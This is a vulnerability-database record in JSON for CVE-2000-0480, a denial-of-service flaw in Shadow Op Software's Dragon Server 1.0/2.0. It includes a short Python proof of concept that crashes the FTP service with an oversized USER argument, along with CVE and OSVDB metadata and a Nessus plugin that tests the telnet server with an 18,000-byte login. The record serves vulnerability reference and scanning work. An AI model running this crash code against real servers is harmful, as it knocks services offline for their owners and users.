{"id": "EDB-ID:20016", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Shadow Op Software Dragon Server 1.0/2.0 - Multiple DoS", "description": "Shadow Op Software Dragon Server 1.0/2.0 Multiple DoS. CVE-2000-0480. Dos exploit for windows platform", "published": "2000-06-16T00:00:00", "modified": "2000-06-16T00:00:00", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}, "href": "https://www.exploit-db.com/exploits/20016/", "reporter": "Prizm", "references": [], "cvelist": ["CVE-2000-0480"], "lastseen": "2016-02-02T13:17:15", "viewCount": 2, "enchantments": {"score": {"value": 5.2, "vector": "NONE", "modified": "2016-02-02T13:17:15", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2000-0480"]}, {"type": "osvdb", "idList": ["OSVDB:350"]}, {"type": "nessus", "idList": ["DRAGON_TELNET.NASL"]}], "modified": "2016-02-02T13:17:15", "rev": 2}, "vulnersScore": 5.2}, "sourceHref": "https://www.exploit-db.com/download/20016/", "sourceData": "source: http://www.securityfocus.com/bid/1352/info\r\n\r\nTwo denial of service vulnerabilities exist in the Dragon Server package, versions 1.00 and 2.00, from Shadow Ops Software. By supplying large arguments to two different network services, it is possible to cause these services to be innaccessible.\r\n\r\nBy sending a USER command to the ftp server, and placing a buffer of approximately 16,500 characters as the argument to the command, it is possible to crash the ftp service.\r\n\r\nBy sending a buffer of approximately 16,500 characters to the telnet server in place of a user name, it is also possible to crash this service.\r\n\r\nThese both appear to be due to insufficient bounds checking. \r\n\r\n#!/usr/bin/python \r\n# \r\n# Dragon Server(ftp) DoS Proof of Concept Code. \r\n# Vulnerability Discovered by USSR Labs(http://www.ussrback.com) \r\n# Simple Script by Prizm(Prizm@Resentment.org) \r\n# \r\n# By connecting to port 21(ftp) on a system running Dragon FTP Server \r\nv1.00/2.00 and typing \r\n# USER (16500 bytes) the service will crash \r\n# \r\n# This *simple* little script will cause Dragon Server's ftp service \r\nto crash. \r\n \r\nfrom ftplib import FTP \r\n \r\nftp = FTP('xxx.xxx.xxx.xxx') # Replace x's with ip \r\nftp.login('A' * 16500) \r\nftp.quit() \r\n ", "osvdbidlist": ["350"]}

{"cve": [{"lastseen": "2020-10-03T11:36:56", "description": "Dragon telnet server allows remote attackers to cause a denial of service via a long username.", "edition": 3, "cvss3": {}, "published": "2000-06-16T04:00:00", "title": "CVE-2000-0480", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2000-0480"], "modified": "2016-10-18T02:07:00", "cpe": ["cpe:/a:shadow_op_software:dragon_server:1.0", "cpe:/a:shadow_op_software:dragon_server:2.0"], "id": "CVE-2000-0480", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0480", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:shadow_op_software:dragon_server:1.0:*:*:*:*:*:*:*", "cpe:2.3:a:shadow_op_software:dragon_server:2.0:*:*:*:*:*:*:*"]}], "osvdb": [{"lastseen": "2017-04-28T13:19:55", "bulletinFamily": "software", "cvelist": ["CVE-2000-0480"], "edition": 1, "description": "# No description provided by the source\n\n## References:\nISS X-Force ID: 4691\n[CVE-2000-0480](https://vulners.com/cve/CVE-2000-0480)\nBugtraq ID: 1352\n", "modified": "2000-06-16T00:00:00", "published": "2000-06-16T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:350", "id": "OSVDB:350", "type": "osvdb", "title": "Dragon Telnet Server Username Remote Overflow", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}], "nessus": [{"lastseen": "2021-01-01T01:57:17", "description": "It was possible to shut down the remote telnet server by issuing a far\ntoo long login name (over 16,000 chars)\n\nThis problem allows an attacker to prevent remote administration of\nthis host.", "edition": 22, "published": "2000-06-27T00:00:00", "title": "Dragon Telnet Server Login Name Handling Remote Overflow DoS", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2000-0480"], "modified": "2021-01-02T00:00:00", "cpe": [], "id": "DRAGON_TELNET.NASL", "href": "https://www.tenable.com/plugins/nessus/10451", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(10451);\n script_version(\"1.27\");\n script_cvs_date(\"Date: 2018/07/10 14:27:33\");\n\n script_cve_id(\"CVE-2000-0480\");\n script_bugtraq_id(1352);\n\n script_name(english:\"Dragon Telnet Server Login Name Handling Remote Overflow DoS\");\n script_summary(english:\"Attempts a USER buffer overflows\");\n\n script_set_attribute(attribute:\"synopsis\", value:\"The remote server is vulnerable to a denial of service.\");\n script_set_attribute(attribute:\"description\", value:\n\"It was possible to shut down the remote telnet server by issuing a far\ntoo long login name (over 16,000 chars)\n\nThis problem allows an attacker to prevent remote administration of\nthis host.\");\n script_set_attribute(attribute:\"solution\", value:\"Upgrade to the latest version your telnet server.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2000/06/16\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2000/06/27\");\n\n script_set_attribute(attribute:\"potential_vulnerability\", value:\"true\");\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_end_attributes();\n\n script_category(ACT_DENIAL);\n script_copyright(english:\"This script is Copyright (C) 2000-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows\");\n\n script_dependencie(\"find_service1.nasl\");\n script_require_keys(\"Settings/ParanoidReport\");\n script_require_ports(\"Services/telnet\", 23);\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude('global_settings.inc');\ninclude('telnet_func.inc');\n\nport = get_kb_item(\"Services/telnet\");\nif(!port)port = 23;\n\nif (report_paranoia < 2) audit(AUDIT_PARANOID);\n\nif(!get_port_state(port))exit(0);\n\nsoc = open_sock_tcp(port);\nif(soc)\n{\n r = telnet_negotiate(socket:soc);\n r2 = recv(socket:soc, length:4096);\n r = r + r2;\n if(r)\n {\n req = string(crap(18000), \"\\r\\n\");\n send(socket:soc, data:req);\n close(soc);\n sleep(1);\n\n soc2 = open_sock_tcp(port);\n if(!soc2)security_warning(port);\n else {\n \tr = telnet_negotiate(socket:soc2);\n\tr2 = recv(socket:soc2, length:4096);\n\tr = r + r2;\n \tclose(soc2);\n\tif(!r)security_warning(port);\n }\n }\n}\n\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}]}